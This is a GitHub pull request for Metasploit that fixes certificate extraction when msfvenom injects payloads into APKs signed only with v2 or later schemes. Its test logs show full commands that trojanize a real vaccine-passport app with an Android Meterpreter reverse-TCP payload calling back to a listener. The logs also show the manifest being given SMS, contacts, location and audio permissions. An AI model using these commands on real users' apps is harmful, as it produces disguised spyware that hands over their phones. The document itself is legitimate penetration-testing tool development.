Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Msf::Payload::Apk: Extract cert details from APK files not JAR signed #16334

Merged
merged 1 commit into from
Mar 13, 2022

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Mar 12, 2022

Since Android 11, APK contents must be signed with signature scheme
v2 or higher (v2/v3/v4). In order to maintain compatibility with
older versions of Android, APKs can also be signed with v1 (after
first signing with v2/v3/v4), but this is not mandatory.

When using a template apk file, the APK library now attempts to
extract signing scheme v1 certificate details (using keytool)
and falls back to extracting v2/v3/v4 certificate details (using
apksigner) if the APK is not signed with signing scheme v1.

Fixes #16295.


Tested using:

Before

root@kali:~/Desktop/metasploit-framework# ./msfvenom -x apks/VaxiCode_v1.3_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=4444 -o asdf.apk
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: apks/VaxiCode_v1.3_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: APK file is unsigned

After

# ./msfvenom -x apks/VaxiCode_v1.3_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=4444 -o asdf.apk
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: apks/VaxiCode_v1.3_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package ca.quebec.vaccandroid.eqrez
[*] Loading /tmp/d20220307-1067153-t8jzz0/original/smali/ca/quebec/vaccandroid/MainApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220307-1067153-t8jzz0/output.apk
[*] Aligning /tmp/d20220307-1067153-t8jzz0/output.apk
[*] Signing /tmp/d20220307-1067153-t8jzz0/aligned.apk with apksigner
Payload size: 84570698 bytes
Saved as: asdf.apk

# apksigner verify --print-certs asdf.apk 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Signer #1 certificate DN: CN=Android, OU=Android, O=Google Inc., L=Mountain View, ST=California, C=US
Signer #1 certificate SHA-256 digest: 0495a300e5909d83451efbf9920e8ec88b8507630d0d429f87a0bc4dcc2e8c57
Signer #1 certificate SHA-1 digest: 420a30bd69c920f1ca4ea30eb1d92e04f86bd812
Signer #1 certificate MD5 digest: 16e1e8fd0d1db9b8713f5a013531cf76

# keytool -printcert -jarfile asdf.apk 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Signer #1:

Signature:

Owner: CN=Android, OU=Android, O=Google Inc., L=Mountain View, ST=California, C=US
Issuer: CN=Android, OU=Android, O=Google Inc., L=Mountain View, ST=California, C=US
Serial number: 2e9e3122
Valid from: Tue Dec 28 05:06:01 EST 2021 until: Fri Dec 28 05:06:01 EST 2046
Certificate fingerprints:
	 SHA1: 42:0A:30:BD:69:C9:20:F1:CA:4E:A3:0E:B1:D9:2E:04:F8:6B:D8:12
	 SHA256: 04:95:A3:00:E5:90:9D:83:45:1E:FB:F9:92:0E:8E:C8:8B:85:07:63:0D:0D:42:9F:87:A0:BC:4D:CC:2E:8C:57
Signature algorithm name: SHA256withRSA
Subject Public Key Algorithm: 2048-bit RSA key
Version: 3

Extensions: 

#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 6B 79 B2 85 A5 AA 2A E4   F8 0E BB C9 94 56 8F 24  ky....*......V.$
0010: 4C 3E 37 18                                        L>7.
]
]

Since Android 11, APK contents must be signed with signature scheme
v2 or higher (v2/v3/v4). In order to maintain compatibility with
older versions of Android, APKs can also be signed with v1 (after
first signing with v2/v3/v4), but this is not mandatory.

When using a template apk file, the APK library now attempts to
extract signing scheme v1 certificate details (using keytool)
and falls back to extracting v2/v3/v4 certificate details (using
apksigner) if the APK is not signed with signing scheme v1.

Fixes rapid7#16295.
@bcoles bcoles requested a review from timwr March 12, 2022 18:44
@timwr timwr self-assigned this Mar 13, 2022
@timwr timwr added the rn-fix release notes fix label Mar 13, 2022
@timwr timwr merged commit db19f88 into rapid7:master Mar 13, 2022
@timwr
Copy link
Contributor

timwr commented Mar 13, 2022

Before

$ apksigner verify --verbose VaxiCode_v1.3_apkpure.com.apk
Verifies
Verified using v1 scheme (JAR signing): false
Verified using v2 scheme (APK Signature Scheme v2): true
Verified using v3 scheme (APK Signature Scheme v3): true
Number of signers: 1
$ keytool -printcert -jarfile VaxiCode_v1.3_apkpure.com.apk
Not a signed jar file
$ msfvenom -x VaxiCode_v1.3_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o out.apk
Using APK template: VaxiCode_v1.3_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: APK file is unsigned

After

$ msfvenom -x VaxiCode_v1.3_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o out.apk
Using APK template: VaxiCode_v1.3_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package ca.quebec.vaccandroid.oomgn
[*] Loading /tmp/d20220313-6393-20m1qo/original/smali/ca/quebec/vaccandroid/MainApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220313-6393-20m1qo/output.apk
[*] Aligning /tmp/d20220313-6393-20m1qo/output.apk
[*] Signing /tmp/d20220313-6393-20m1qo/aligned.apk with apksigner
Payload size: 84570761 bytes
Saved as: out.apk

@timwr
Copy link
Contributor

timwr commented Mar 13, 2022

Release notes

This change fixes a bug where APK files that were not signed with the v1 scheme would fail during the signing phase of APK file injection with msfvenom.

@bcoles bcoles deleted the payload-apk-signing branch March 13, 2022 12:54
@bcoles bcoles mentioned this pull request Apr 29, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Msf::Payload::Apk: Support template APKs signed only with v2/v3/v4 schemes (but not v1)
2 participants